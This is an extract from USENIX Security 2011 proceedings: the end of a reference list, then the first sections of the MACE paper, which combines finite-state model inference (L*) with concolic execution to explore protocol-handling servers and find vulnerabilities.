[12] R. Goldberg. Survey of Virtual Machine Research.
IEEE Computer Magazine, 7(6):34–35, 1974.

[13] B. Gu, X. Bai, Z. Yang, A. C. Champion, and
D. Xuan. Malicious shellcode detection with vir-
tual memory snapshots. In International Confer-
ence on Computer Communications (INFOCOM),
pages 974–982, 2010.

[14] F. Hernandez-Campos, F. Smith, and K. Jeffay.
Tracking the evolution of web traffic: 1995-2003.
In Proceedings of the 11th IEEE/ACM Interna-
tional Symposium on Modeling, Analysis and Sim-
ulation of Computer Telecommunication Systems
(MASCOTS), pages 16–25, 2003.

[15] F. Hernandez-Campos, K. Jeffay, and F. Smith.
Modeling and generating TCP application work-
loads. In 14th IEEE International Conference on
Broadband Communications, Networks and Sys-
tems (BROADNETS), pages 280–289, 2007.

[16] I. Kim, K. Kang, Y. Choi, D. Kim, J. Oh, and
K. Han. A Practical Approach for Detecting Ex-
ecutable Codes in Network Traffic. In Asia-Pacific
Network Ops. & Mngt Symposium, 2007.

[17] G. MacManus and M. Sutton. Punk Ode: Hiding
Shellcode in Plain Sight. In Black Hat USA, 2006.

[18] L. Martignoni, R. Paleari, G. F. Roglia, and D. Br-
uschi. Testing CPU Emulators. In Interna-
tional Symposium on Software Testing and Analy-
sis, pages 261–272, 2009.

[19] J. Mason, S. Small, F. Monrose, and G. MacManus.
English shellcode. In Conference on Computer and
Communications Security, pages 524–533, 2009.

[20] MSDN. Mindump header structure. MSDN
Library. See http://msdn.microsoft.



138 20th USENIX Security Symposium USENIX Association

com/en-us/library/ms680378(VS.85)
.aspx.

[21] R. Paleari, L. Martignoni, G. F. Roglia, and D. Br-
uschi. A Fistful of Red-Pills: How to Automati-
cally Generate Procedures to Detect CPU Emula-
tors. In USENIX Workshop on Offensive Technolo-
gies, 2009.

[22] A. Pasupulati, J. Coit, K. Levitt, S. F. Wu, S. H. Li,
R. C. Kuo, and K. P. Fan. Buttercup: on Network-
based Detection of Polymorphic Buffer Overflow
Vulnerabilities. In IEEE/IFIP Network Op. & Mngt
Symposium, pages 235–248, May 2004.

[23] U. Payer, P. Teufl, and M. Lamberger. Hybrid En-
gine for Polymorphic Shellcode Detection. In De-
tection of Intrusions and Malware & Vulnerability
Assessment, pages 19–31, 2005.

[24] J. D. Pincus and B. Baker. Beyond stack Smashing:
Recent Advances in Exploiting Buffer Overruns.
IEEE Security and Privacy, 4(2):20–27, 2004.

[25] M. Polychronakis, K. G. Anagnostakis, and E. P.
Markatos. Network-level Polymorphic Shellcode
Detection using Emulation. In Detection of In-
trusions and Malware & Vulnerability Assessment,
pages 54–73, 2006.

[26] M. Polychronakis, K. G. Anagnostakis, and E. P.
Markatos. Emulation-based Detection of Non-self-
contained Polymorphic Shellcode. In International
Symposium on Recent Advances in Intrusion Detec-
tion, 2007.

[27] M. Polychronakis, K. G. Anagnostakis, and E. P.
Markatos. An Empirical Study of Real-world Poly-
morphic Code Injection Attacks. In USENIX
Workshop on Large-Scale Exploits and Emergent
Threats, 2009.

[28] M. Polychronakis, K. G. Anagnostakis, and E. P.
Markatos. Comprehensive shellcode detection us-
ing runtime heuristics. In Annual Computer Se-
curity Applications Conference, pages 287–296,
2010.

[29] P. V. Prahbu, Y. Song, and S. J. Stolfo. Smash-
ing the Stack with Hydra: The Many Heads of Ad-
vanced Polymorphic Shellcode, 2009. Presented at
Defcon 17, Las Vegas.

[30] M. Probst. Fast machine-adaptable dynamic binary
translation. In Proceedings of the Workshop on Bi-
nary Translation, 2001.

[31] N. Provos, D. McNamee, P. Mavrommatis,
K. Wang, and N. Modadugu. The ghost in the
browser: Analysis of web-based malware. In
Usenix Workshop on Hot Topics in Botnets, 2007.

[32] N. Provos, P. Mavrommatis, M. A. Rajab, and
F. Monrose. All Your iFRAMEs Point to Us. In
USENIX Security Symposium, pages 1–15, 2008.

[33] T. Raffetseder, C. Kruegel, and E. Kirda. Detecting
System Emulators. Information Security, 4779:1–
18, 2007.

[34] M. A. Rahman. Getting 0wned by malicious PDF -
analysis. SANS Institute, InfoSec Reading Room,
2010.

[35] P. Ratanaworabhan, B. Livshits, and B. Zorn. NOZ-
ZLE: A Defense Against Heap-spraying Code In-
jection Attacks. In USENIX Security Symposium,
pages 169–186, 2009.

[36] A. Sotirov and M. Dowd. Bypassing Browser
Memory Protections. In Black Hat USA, 2008.

[37] D. Stevens. Malicious PDF documents. Informa-
tion Systems Security Association (ISSA) Journal,
July 2010.

[38] T. Toth and C. Kruegel. Accurate Buffer Overflow
Detection via Abstract Payload Execution. In Inter-
national Symposium on Recent Advances in Intru-
sion Detection, pages 274–291, 2002.

[39] Z. Tzermias, G. Sykiotakis, M. Polychronakis, and
E. P. Markatos. Combining static and dynamic
analysis for the detection of malicious documents.
In Proceedings of the Fourth European Workshop
on System Security, pages 4:1–4:6, New York, NY,
USA, 2011.

[40] A. Vasudevan and R. Yerraballi. Stealth break-
points. In 21st Annual Computer Security Appli-
cations Conference, pages 381–392, 2005.

[41] X. Wang, Y.-C. Jhi, S. Zhu, and P. Liu. STILL:
Exploit Code Detection via Static Taint and Initial-
ization Analyses. Annual Computer Security Appli-
cations Conference, pages 289–298, Dec 2008.

[42] Y. Younan, P. Philippaerts, F. Piessens, W. Joosen,
S. Lachmund, and T. Walter. Filter-resistant code
injection on ARM. In ACM Conference on Com-
puter and Communications Security, pages 11–20,
2009.

[43] Q. Zhang, D. S. Reeves, P. Ning, and S. P. Iyer. An-
alyzing Network Traffic to Detect Self-Decrypting
Exploit Code. In ACM Symposium on Information,
Computer and Communications Security, 2007.



USENIX Association  20th USENIX Security Symposium 139

MACE: Model-inference-Assisted Concolic Exploration

for Protocol and Vulnerability Discovery

Chia Yuan Cho†‡ Domagoj Babić† Pongsin Poosankam†§

Kevin Zhijie Chen†

†University of California, Berkeley

Edward XueJun Wu†

§Carnegie Mellon University

Dawn Song†

‡DSO National Labs

Abstract

Program state-space exploration is central to software se-

curity, testing, and verification. In this paper, we propose

a novel technique for state-space exploration of software

that maintains an ongoing interaction with its environ-

ment. Our technique uses a combination of symbolic and

concrete execution to build an abstract model of the ana-

lyzed application, in the form of a finite-state automaton,

and uses the model to guide further state-space explo-

ration. Through exploration, MACE further refines the

abstract model. Using the abstract model as a scaffold,

our technique wields more control over the search pro-

cess. In particular: (1) shifting search to different parts of

the search-space becomes easier, resulting in higher code

coverage, and (2) the search is less likely to get stuck in

small local state-subspaces (e.g., loops) irrelevant to the

application’s interaction with the environment. Prelim-

inary experimental results show significant increases in

the code coverage and exploration depth. Further, our

approach found a number of new deep vulnerabilities.

1 Introduction

Designing secure systems is an exceptionally hard prob-

lem. Even a single bug in an inopportune place can create

catastrophic security gaps. Considering the size of mod-

ern software systems, often reaching tens of millions of

lines of code, exterminating all the bugs is a daunting

task. Thus, innovation and development of new tools

and techniques that help closing security gaps is of crit-

ical importance. In this paper, we propose a new tech-

nique for exploring the program’s state-space. The tech-

nique explores the program execution space automati-

§This work was done while Pongsin Poosankam was a visiting stu-

dent at UC Berkeley.

cally by combining exploration with learning of an ab-

stract model of program’s state space. More precisely,

it alternates (1) a combination of concrete and symbolic

execution [22] to explore the program’s state-space, and

(2) the L∗ [1] online learning algorithm to construct high-

level models of the state-space. Such abstract models, in

turn, guide further search. In contrast, the prior state-

space exploration techniques treat the program as a flat

search-space, without distinguishing states that corre-

spond to important input processing events.

A combination of concrete execution and symbolic

reasoning, known as DART, concolic (concrete and

symbolic) execution, and dynamic symbolic execution

[17, 25, 8, 7], exploits the strengths of both. The con-

crete execution creates a path, followed by symbolic ex-

ecution, which computes a symbolic logical formula rep-

resenting the branch conditions along the path. Manipu-

lation of the formula, e.g., negation of a particular branch

predicate, produces a new symbolic formula, which is

then solved with a decision procedure. If a solution ex-

ists, the solution represents an input to the concrete exe-

cution, which takes the search along a different path. The

process is repeated iteratively until the user reaches the

desired goal (e.g., number of bugs found, code coverage,

etc.).

We identified two ways to improve this iterative pro-

cess. First, dynamic symbolic execution has no high-

level information about the structure of the overall pro-

gram state-space. Thus, it has no way of knowing how

close (or how far) it is from reaching important states

in the program and is likely to get stuck in local state-

subspaces, such as loops. Second, unlike decision proce-

dures that learn search-space pruning lemmas from each

iteration (e.g., [30]), dynamic symbolic execution only

tracks the most promising path prefix for the next iter-

ation [17], but does not learn in the sense that informa-
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tion gathered in one iteration is used either to prune the

search-space or to get to interesting states faster in later

iterations.

These two insights led us to develop an approach

— Model-inference-Assisted Concolic (concrete and

symbolic) Exploration (MACE) — that learns from each

iteration and constructs a finite-state model of the search-

space. We primarily target applications that maintain

an ongoing interaction with its environment, like servers

and web services, for which a finite-state model is fre-

quently a suitable abstraction of the communication pro-

tocol, as implemented by the application. At the same

time, we both learn the protocol model and exploit the

model to guide the search.

MACE relies upon dynamic symbolic execution to

discover the protocol messages, uses a special filtering

component to select messages over which the model

is learned, and guides further search with the learned

model, refining it as it discovers new messages. Those

three components alternate until the process converges,

automatically inferring the protocol state machine and

exploring the program’s state-space.

We have implemented our approach and applied it to

four server applications (two SMB and two RFB im-

plementations). MACE significantly improved the line

coverage of the analyzed applications, and more im-

portantly, discovered four new vulnerabilities and three

known ones. One of the discovered vulnerabilities re-

ceived Gnome’s “Blocker” severity, the highest severity

in their ranking system meaning that the next release can-

not be shipped without a fix. Our work makes the follow-

ing contributions:

• Although dynamic symbolic execution and decision

procedures perform very similar tasks, the state-

of-the-art decision procedures feature many tech-

niques, like learning, that yet have to find their way

into dynamic symbolic execution. While in deci-

sion procedures, learned information can be conve-

niently represented in the same format as the solved

formula, e.g., in the form of CNF clauses in SAT

solvers, it is less clear how would one learn or rep-

resent the knowledge accumulated during the dy-

namic symbolic execution search process. We pro-

pose that for applications that interact with their en-

vironment through a protocol, one could use finite-

state machines to represent learned information and

use them to guide the search.

• As the search progresses, it discovers new infor-

mation that can be used to refine the model. We

show one possible way to keep refining the model

by closing the loop — search incrementally refines

the model, while the model guides further search.

• At the same time, MACE both infers a model of

the protocol, as implemented by a program, and

explores the program’s search space, automatically

generating tests. Thus, our work contributes both to

the area of automated reverse-engineering of proto-

cols and automated program testing.

• MACE discovered seven vulnerabilities (four of

which are new) in four applications that we ana-

lyzed. Furthermore, we show that MACE performs

deeper state-space exploration than the baseline dy-

namic symbolic execution approach.

2 Related Work

Model-guided testing has a long history. The hard-

ware testing community has developed modeling lan-

guages, like SystemVerilog, that allow verification teams

to specify input constraints that are solved with a deci-

sion procedure to generate random inputs. Such inputs

are randomized, but adhere to the specified constraints

and therefore tend to reach much deeper into the tested

system than purely random tests. Constraint-guided ran-

dom test generation is nowadays the staple of hardware

testing. The software community developed its own lan-

guages, like Spec# [3], for describing abstract software

models. Such models can be used effectively as con-

straints for generating tests [27], but have to be written

manually, which is both time consuming and requires a

high level of expertise.

Grammar inference (e.g., [16]) promises automatic in-

ference of models, and has been an active area of re-

search in security, especially applied to protocol infer-

ence. Comparetti et al. [12] infer incomplete (possibly

missing transitions) protocol state machines from mes-

sages collected by observing network traffic. To reduce

the number of messages, they cluster messages according

to how similar the messages are and how similar their ef-

fects are on the execution. Comparetti et al. show how

the inferred protocol models can be used for fuzzing.

Our work shares similar goals, but features a few im-

portant differences. First, MACE iteratively refines the

model using dynamic symbolic execution [18, 25, 9, 7]

for the state-space exploration. Second, rather than fil-

tering out individual messages through clustering of in-

dividual messages, we look at the entire sequences. If

there is a path in the current state machine that produces

the same output sequence, we discard the corresponding

input sequence. Otherwise, we add all the input mes-

sages to the set used for inferring the state machine in

the next iteration. Third, rather than using the inferred
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model for fuzzing, we use the inferred model to initialize

state-space exploration to a desired state, and then run

dynamic symbolic execution from the initialized state.

In our prior work [10], we proposed an alternative pro-

tocol state machine inference approach. There we as-

sume the end users would provide abstraction functions

that abstract concrete input and output messages into

an abstract alphabet, over which we infer the protocol.

Designing such abstraction functions is sometimes non-

trivial and requires multiple iterations, especially for pro-

prietary protocols, for which specifications are not avail-

able. In this paper, we drop the requirement for user-

provided input message abstraction, but we do require a

user-provided output message abstraction function. The

output abstraction function determines the granularity of

the inferred abstraction. The right granularity of abstrac-

tion is important for guiding state-space exploration, be-

cause too fine-grained abstractions tend to be too expen-

sive to infer automatically, and too abstract ones fail to

differentiate interesting protocol states. Furthermore, our

prior work is a purely black-box approach, while in this

paper we do code analysis at the binary level in combi-

nation with grammatical inference.

In this paper, we analyze implementations of protocols

for which the source code or specifications are available.

However, MACE could also be used for inference of

proprietary protocols and for state-exploration of closed-

source third-party binaries. In that case, the users would

need to rely upon the prior research to construct a suit-

able output abstraction function. The first step in con-

structing a suitable output abstraction function is under-

standing the message format. Cui et al. [14, 15] and Ca-

ballero et al. [6] proposed approaches that could be used

for that purpose. Further, any automatic protocol infer-

ence technique has to deal with encryption. In this paper,

we simply configure the analyzed server applications so

as to disable encryption, but that might not be an option

when inferring a proprietary protocol. The work of Ca-

ballero et al. [5] and Wang et al. [29] addresses automatic

reverse-engineering of encrypted messages.

Software model checking tools, like SLAM [2] and

Blast [20], incrementally build predicate abstractions of

the analyzed software, but such abstractions are very dif-

ferent from the models inferred by the protocol inference

techniques [12, 11]. Such abstractions closely reflect the

control-flow structure of the software from which they

were inferred, while our inferred models are more ab-

stract and tend to have little correlation with the low-level

program structure. Further, depending on the inference

approach used, the inferred models can be minimal (like

in our work), which makes guidance of state-space ex-

ploration techniques more effective.

The Synergy algorithm [19] combines model-

checking and dynamic symbolic execution to try to cover

all abstract states of a program. Our work has no ambi-

tion to produce proofs, and we expect that our approach

could be used to improve the dynamic symbolic execu-

tion part of Synergy and other algorithms that use dy-

namic symbolic execution as a component.

The Ketchum approach [21] combines random sim-

ulation to drive a hardware circuit into an interesting

state (according to some heuristic), and performs local

bounded model checking around that state. After reach-

ing a predefined bound, Ketchum continues random sim-

ulation until it stumbles upon another interesting state,

where it repeats bounded model checking. Ketchum be-

came the key technology behind MagellanTM, one of

the most successful semi-formal hardware test genera-

tion tools. MACE has similar dynamics, but the com-

ponents are very different. We use the L∗ [1] finite-state

machine inference algorithm to infer a high-level abstract

model and declare all the states in the model as interest-

ing, while Ketchum picks interesting states heuristically.

While Ketchum uses random simulation, we drive the

analyzed software to the interesting state by finding the

shortest path in the abstract model. Ketchum explores the

vicinity of interesting states via bounded model check-

ing, while we start dynamic symbolic execution from the

interesting state.

3 Problem Definition and Overview

We begin this section with the problem statement and a

list of assumptions that we make in this paper. Next, we

discuss possible applications of MACE. At the end of

this section, we introduce the concepts and notation that

will be used throughout the paper.

3.1 Problem Statement

We have three, mutually supporting, goals. First, we

wish to automatically infer an abstract finite-state model

of a program’s interaction with its environment, i.e., a

protocol as implemented by the program. Second, once

we infer the model, we wish to use it to guide a com-

bination of concrete and symbolic execution in order to

improve the state-space exploration. Third, if the explo-

ration phase discovers new types of messages, we wish

to refine the abstract model, and repeat the process.

There are two ways to refine the abstract finite-state

model; by adding more states, and by adding more mes-

sages to the state machine’s input (or output) alphabet,
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(a)

(b)

Figure 1: An Abstract Rendition of the MACE State-

Space Exploration. The figure on the left shows an

abstract model, i.e., a finite-state machine, inferred by

MACE. The figure on the right depicts clusters of con-

crete states of the analyzed application, such that clus-

ters are abstracted with a single abstract state. We infer

the abstract model with L∗, initialize the analyzed appli-

cation to the desired state, and then use the state-space

exploration component of MACE to explore the concrete

clusters of states.

which can result in inference of new transitions and

states. Black box inference algorithms, like L∗ [1], in-

fer a state machine over a fixed-size alphabet by itera-

tively discovering new states. Such algorithms can be

used for the first type of refinement. Any traditional pro-

gram state-space exploration technique could be used to

discover new input (or output) messages, but adding all

the messages to the state machine’s alphabets would ren-

der the inference computationally infeasible. Thus, we

also wish to find an effective way to reduce the size of

the alphabet, without missing states during the inference.

The constructed abstract model can guide the search in

many ways. The approach we take in this paper is to use

the abstract model to generate a sequence of inputs that

will drive the abstract model and the program to the de-

sired state. After the program reaches the desired state,

we explore the surrounding state-space using a combina-

tion of symbolic and concrete execution. Through such

exploration, we might visit numerous states that are all

abstracted with a single state in the abstract model and

discover new inputs that can refine the abstract model.

Figure 1 illustrates the concept.

In our work, we make a few assumptions:

Determinism We assume the analyzed program’s com-

munication with its environment is deterministic,

i.e., the same sequence of inputs always leads

to the same sequence of outputs and the same

state. In practice, programs can exhibit some non-

determinism, which we are abstracting away. For

example, the same input message could produce

two different outputs from the same state. In such

a case, we put both output messages in the same

equivalence class by adjusting our output abstrac-

tion (see below).

Resettability We assume the analyzed program can be

easily reset to its initial state. The reset may be

achieved by restarting the program, re-initializing

its environment or variables, or simply initiating a

new client connection. In practice, resetting a pro-

gram is usually straightforward, since we have a

complete control of the program.

Output Abstraction Function We assume the exis-

tence of an output abstraction function that ab-

stracts concrete response (output) messages from

the server into an abstract set of messages (alpha-

bet) used for state machine inference. In practice,

this assumption often reduces to manually identi-

fying which sub-fields of output messages will be

used to distinguish output message types. The out-

put alphabet, in MACE, determines the granularity

of abstraction.

3.2 Applications

The primary intended application of MACE is state-

space exploration of programs communicating with their

environment through a protocol, e.g., networked appli-

cations. We use the inferred protocol state machine as a

map that tells us how to quickly get to a particular part

of the search-space. In comparison, model checking and

dynamic symbolic execution approaches consider the ap-

plication’s state-space flat, and do not attempt to exploit

the structure in the state machine of the communication

protocol through which the application communicates

with the world. Other applications of MACE include

proprietary protocol inference, extension of the existing

protocol test suites, conformance checking of different

protocol implementations, and fingerprinting of imple-

mentation differences.
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3.3 Preliminaries

Following our prior work [10], we use Mealy machines

[23] as abstract protocol models. Mealy machines are

natural models of protocols because they specify transi-

tion and output functions in terms of inputs. Mealy ma-

chines are defined as follows:

Definition 1 (Mealy Machine). A Mealy machine, M, is

a six-tuple (Q,ΣI ,ΣO,δ ,λ ,q0), where Q is a finite non-

empty set of states, q0 ∈ Q is the initial state, ΣI is a

finite set of input symbols (i.e., the input alphabet), ΣO is

a finite set of output symbols (i.e., the output alphabet),

δ : Q×ΣI −→ Q is the transition relation, and λ : Q×
ΣI −→ ΣO is the output relation.

We extend the δ and λ relations to sequences of

messages m j ∈ ΣI as usual, e.g., δ (q,m0 ·m1 ·m2) =
δ (δ (δ (q,m0) ,m1) ,m2) and λ (q,m0 ·m1 ·m2) =
λ (q,m0) · λ (δ (q,m0) ,m1) · λ (δ (q,m0 ·m1) ,m2). To

denote sequences of input (resp. output) messages

we will use lower-case letters s, t (resp. o). For

s ∈ Σ∗
I ,m ∈ ΣI , the length |s| is defined inductively:

|ε| = 0, |s ·m| = |s|+ 1, where ε is the empty sequence.

The j-th message m j in the sequence s = m0 ·m1 · · ·mn−1

will be referred to as s j . We define the support function

sup as sup(s) =
{

s j | 0 ≤ j < |s|
}

. If for some state

machine M = (Q,ΣI ,ΣO,δ ,λ ,q0) and some state q ∈ Q

there is s ∈ Σ∗
I such that δ (q0,s) = q, we say there is a

path from q0 to q, i.e., that q is reachable from the initial

state, denoted q0
∗

−→ q. Since L∗ infers minimal state

machines, all states in the abstract model are reachable.

In general, each state could be reachable by multiple

paths. For each state q, we (arbitrary) pick one of the

shortest paths formed by a sequence of input messages

s, such that q0
s

−→ q, and call it a shortest transfer

sequence.

Our search process discovers numerous input and out-

put messages, and using all of them for the model in-

ference would not scale. Thus, we heuristically discard

redundant input messages, defined as follows:

Definition 2 (Redundant Input Symbols). Let M =
(Q,ΣI ,ΣO,δ ,λ ,q0) be a Mealy machine. A symbol m ∈
ΣI is said to be redundant if there exists another sym-

bol, m′ ∈ ΣI , such that m �= m′ and ∀q ∈ Q . λ (q,m) =
λ (q,m′)∧δ (q,m) = δ (q,m′).

We say that a Mealy machine M = (Q,ΣI ,ΣO,δ ,λ ,q0)
is complete iff δ (q, i) and λ (q, i) are defined for every

q ∈ Q and i ∈ ΣI . In this paper, we infer complete Mealy

machines. There is also another type of completeness

— the completeness of the input and output alphabet.

MACE cannot guarantee that the input alphabet is com-

plete, meaning that it might not discover some types of

messages required to infer the full state machine of the

protocol.

To infer Mealy machines, we use Shahbaz and Groz’s

[26] variant of the classical L∗ [1] inference algorithm.

We describe only the intuition behind L∗, as the algo-

rithm is well-described in the literature.

L∗ is an online learning algorithm that proactively

probes a black box with sequences of messages, listens to

responses, and builds a finite state machine from the re-

sponses. The black box is expected to answer the queries

in a faithful (i.e., it is not supposed to cheat) and deter-

ministic way. Each generated sequence starts from the

initial state, meaning that L∗ has to reset the black box

before sending each sequence. Once it converges, L∗

conjectures a state machine, but it has no way to ver-

ify that it is equivalent to what the black box imple-

ments. Three approaches to solving this problem have

been described in the literature. The first approach is to

assume an existence of an oracle capable of answering

the equivalence queries. L∗ asks the oracle whether the

conjectured state machine is equivalent to the one im-

plemented by the black box, and the oracle responds ei-

ther with ‘yes’ if the conjecture is equivalent, or with

a counterexample, which L∗ uses to refine the learned

state machine and make another conjecture. The pro-

cess is guaranteed to terminate in time polynomial in

the number of states and the size of the input alphabet.

However, in practice, such an oracle is unavailable. The

second approach is to generate random sampling queries

and use those to test the equivalence between the con-

jecture and the black box. If a sampling query discovers

a mismatch between a conjecture and the black box, re-

finement is done the same way as with the counterexam-

ples that would be generated by equivalence queries. The

sampling approach provides a probabilistic guarantee [1]

on the accuracy of the inferred state machine. The third

approach, called black box model checking [24], uses

bounded model checking to compare the conjecture with

the black box.

As discussed in Section 3.1, MACE requires an out-

put message abstraction function αO : MO → ΣO, where

MO is the set of all concrete output messages, that ab-

stracts concrete output messages into the abstract output

alphabet. However, unlike the prior work [10], MACE

requires no input abstraction function. We will extend

the output abstraction function to sequences as follows.

Let o ∈ M ∗
O be a sequence of concrete output messages

such that |o| = n. The abstraction of a sequence is de-

fined as αO(o) = αO(o0) · · ·αO(on−1).
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Figure 2: The MACE Approach Diagram. The L∗ algorithm takes in the input and output alphabets, over which it

infers a state-machine. L∗ sends queries and receives responses from the analyzed application, which is not shown in

the figure. The result of inference is a finite-state machine (FSM). For every state in the inferred state machine, We

generate a shortest transfer sequence (Section 3.3) that reaches the desired state, starting from the initial state. Such

sequences are used to initialize the state-space explorer, which runs dynamic symbolic execution after the initialization.

The state-space explorers run the analyzed application (not shown) in parallel.

4 Model-inference-Assisted Concolic

Exploration

We begin this section by a high-level description of

MACE, illustrated in Figure 2. After the high-level de-

scription, each section describes a major component of

MACE: abstract model inference, concrete state-space

exploration, and filtering of redundant concrete input

messages together with the abstract model refinement.

4.1 A High-Level Description

Suppose we want to infer a complete Mealy machine

M = (Q,ΣI ,ΣO,δ ,λ ,q0) representing some protocol, as

implemented by the given program. We assume to know

the output abstraction function αO that abstracts con-

crete output messages into ΣO. To bootstrap MACE, we

also assume to have an initial set ΣI0 ⊆ ΣI of input mes-

sages, which can be extracted from either a regression

test suite, collected by observing the communication of

the analyzed program with the environment, or obtained

from DART and similar approaches [17, 25, 8, 7]. The

initial ΣI0 alphabet could be empty, but MACE would

take longer to converge. In our work, we used regression

test suites provided with the analyzed applications, or ex-

tracted messages from a single observed communication

session if the test suite was not available.

Next, L∗ infers the first state machine M0 =
(Q0,ΣI0,ΣO,δ0,λ0,q

0
0) using ΣI0 and ΣO as the abstract

alphabets. In M0, we find a shortest transfer sequence

from q0
0 to every state q ∈ Q0. We use such sequences

to drive the program to one of the concrete states repre-

sented by the abstract state q. Since each abstract state

could correspond to a large cluster of concrete states

(Fig. 1), we use dynamic symbolic execution to explore

the clusters of concrete states around abstract states.

The state-space exploration generates sequences of

concrete input and the corresponding output messages.

Using the output abstraction function αO, we can abstract

the concrete output message sequences into sequences

over Σ∗
O. However, we cannot abstract the concrete in-

put messages into a subset of ΣI , as we do not have the

concrete input message abstraction function. Using all

the concrete input messages for the L∗-based inference

would be computationally infeasible. The state-space

exploration discovers hundreds of thousands of concrete

messages, because we run the exploration phase for hun-

dreds of hours, and on average, it discovers several thou-

sand new concrete messages per hour.

Thus, we need a way to filter out redundant messages

and keep the ones that will allow L∗ to discover new

states. The filtering is done as follows. Suppose that s

is a sequence of concrete input messages generated from

the exploration phase and o∈Σ∗
O a sequence of the corre-

sponding abstract output messages. If there exists t ∈ Σ∗
I0

such that M0 accepts t generating o, we discard s. Oth-

erwise, at least one concrete message in the s sequence

generates either a new state or a new transition, so we re-

fine the input alphabet and compute ΣI1 = ΣI0 ∪ sup(s).

With the new abstract input alphabet ΣI1, we infer a

new, more refined, abstract model M1 and repeat the pro-

cess. If the number of messages is finite and either the

exploration phase terminates or runs for a predetermined

bounded amount of time, MACE terminates as well.
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4.2 Model Inference with L∗

MACE learns the abstract model of the analyzed pro-

gram by constructing sequences of input messages, send-

ing them to the program, and reasoning about the re-

sponses. For the inference, we use Shahbaz and Groz’s

[26] variant of L∗ for learning Mealy machines. The in-

ference process is similar as in our prior work [10].

In every iteration of MACE, L∗ infers a new state ma-

chine over ΣIi and the new messages discovered by the

state-space exploration guided by Mi, and conjectures

Mi+1, a refinement of Mi. Out of the three options for

checking conjectures discussed in Section 3.3, we chose

to check conjectures using the sampling approach. We

could use sampling after each iteration, but we rather

defer it until the whole process terminates. In other

words, rather than doing sampling after each iteration,

we use the subsequent MACE iterations instead of the

traditional sampling. Once the process terminates, we

generate sampling queries, but in no experiment we per-

formed did sampling discover any new states.

4.3 The State-Space Exploration Phase

We use the model inferred in Section 4.2 to guide the

state-space exploration. For every state qi ∈ Qi of the

just inferred abstract model Mi, we compute a shortest

transfer sequence of input messages from the initial state

qi
0. Suppose the computed sequence is s ∈ Σ∗

Ii. With

s, we drive the analyzed application to a concrete state

abstracted by the qi state in the abstract model. All mes-

sages sup(s) are concrete messages either from the set

of seed messages, or generated by previous state-space

exploration iterations. Thus, the process of driving the

analyzed application to the desired state consists of only

computing a shortest path in Mi to the state, collecting

the input messages along the path qi
0

+
−→ qi, and feeding

that sequence of concrete messages into the application.

Once the application is in the desired state qi, we

run dynamic symbolic execution from that state to ex-

plore the surrounding concrete states (Figure 1). In other

words, the transfer sequence of input messages produces

a concrete run, which is then followed by symbolic ex-

ecution that computes the corresponding path-condition.

Once the path-condition is computed, dynamic symbolic

execution resumes its normal exploration. We bound

the time allotted to exploring the vicinity of every ab-

stract state. In every iteration, we explore only the newly

discovered states, i.e., Qi\Qi−1. Re-exploring the same

states over and over would be unproductive.

Thanks to the abstract model, MACE can easily com-

pute the necessary input message permutations required

to reach any abstract model state, just by computing a

shortest path. On the other hand, approaches that com-

bine concrete and symbolic execution have to negate

multiple predicates and get the decision procedure to

generate the required sequence of concrete input mes-

sages to get to a particular state. MACE has more con-

trol over this process, and our experimental results show

that the increased control results in higher line coverage,

deeper analysis, and more vulnerabilities found.

4.4 Model Refinement

The exploration phase described in Section 4.3 generates

a large number (hundreds of thousands in our setting) of

new concrete messages. Using all of them to refine the

abstract model is both unrealistic, as inference is polyno-

mial in the size of the alphabet, and redundant, as many

messages are duplicates and belong to the same equiv-

alence class. To reduce the number of input messages

used for inference, Comparetti et al. [12] propose a mes-

sage clustering technique, while we used a handcrafted

an abstraction function in our prior work. In this paper,

we take a different approach.

In the spirit of dynamic symbolic execution, the explo-

ration phase solves the path-condition (using a decision

procedure) to generate new concrete inputs, more pre-

cisely, sequences of concrete input messages. During the

concrete part of the exploration phase, such sequences

of input messages are executed concretely, which gen-

erates the corresponding sequence of output messages.

We abstract the generated sequence of output messages

using αO. If the abstracted sequence can be generated

by the current abstract model, we discard the sequence,

otherwise we add all the corresponding concrete input

messages to ΣIi. We define this process more formally:

Definition 3 (Filter Function). Let MI (resp. MO) be

a (possibly infinite) set of all possible concrete input

(resp. output) messages. Let s ∈ M ∗
I (resp. o ∈ M ∗

O)

be a sequence of concrete input (resp. output) messages

such that |s| = |o|. We assume that each input message

s j produces o j as a response. Let Mi ∈ A be the ab-

stract model inferred in the last iteration and A the uni-

verse of all possible Mealy machines. The filter function

f : A ×M ∗
I ×M ∗

O → 2MI is defined as follows:

f (Mi,s,o) =

{
/0 if ∃t ∈ Σ∗

Ii . λi(t) = αO(o)
sup(s) otherwise

In practice, a single input message could produce ei-

ther no response or multiple output messages. In the

first case, our implementation generates an artificial no-

response message, and in the second case, it picks the
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first produced output message. A more advanced im-

plementation could infer a subsequential transducer [28],

instead of a finite-state machine. A subsequential trans-

ducer can transduce a single input into multiple output

messages.

Once the exploration phase is done, we apply the filter

function to all newly found input and output sequences

s j and o j, and refine the alphabet ΣIi by adding the mes-

sages returned by the filter function. More precisely:

ΣI(i+1) ← ΣIi ∪
⋃

j

f (Mi,s j,o j)

In the next iteration, L∗ learns a new model Mi+1, a re-

finement of Mi, over the refined alphabet ΣI(i+1).

5 Implementation

In this section, we describe our implementation of

MACE. The L∗ component sends queries to and collects

responses from the analyzed server, and thus can be seen

as a client sending queries to the server and listening to

the corresponding responses. Section 5.1 explains this

interaction in more detail. Section 5.2 surveys the main

model inference optimizations, including parallelization,

caching, and filtering. Finally, Section 5.3 introduces our

state-space exploration component, which is used as a

baseline for the later provided experimental results.

5.1 L∗ as a Client

Our implementation of L∗ infers the protocol state ma-

chine over the concrete input and abstract output mes-

sages. As a client, L∗ first resets the server, by clearing its

environment variables and resetting it to the initial state,

and then sends the concrete input message sequences di-

rectly to the server.

Servers have a large degree of freedom in how quickly

they want to reply to the queries, which introduces non-

deterministic latency that we want to avoid. For one

server application we analyzed (Vino), we had to slightly

modify the server code to assure synchronous response.

We wrote wrappers around the poll and read system

calls that immediately respond to the L∗’s queries, mod-

ifying eight lines of code in Vino.

5.2 Model Inference Optimizations

We have implemented the L∗ algorithm with distributed

master-worker parallelization of queries. L∗ runs in the

master node, and distributes its queries among the worker

nodes. The worker nodes compute the query responses,

by sending the input sequences to the server, collecting

and abstracting responses, and sending them back to L∗.

Since model refinement requires L∗ to make repeated

queries across iterations, we maintain a cache to avoid

re-computing responses to the previously seen queries.

L∗ looks up the input in the cache before sending queries

to worker nodes.

As L∗’s queries could trigger bugs in the server appli-

cation, responses could be inconsistent. For example, if

L∗ emits two sequences of input messages, s and t, such

that s is a prefix of t, then the response to s should be a

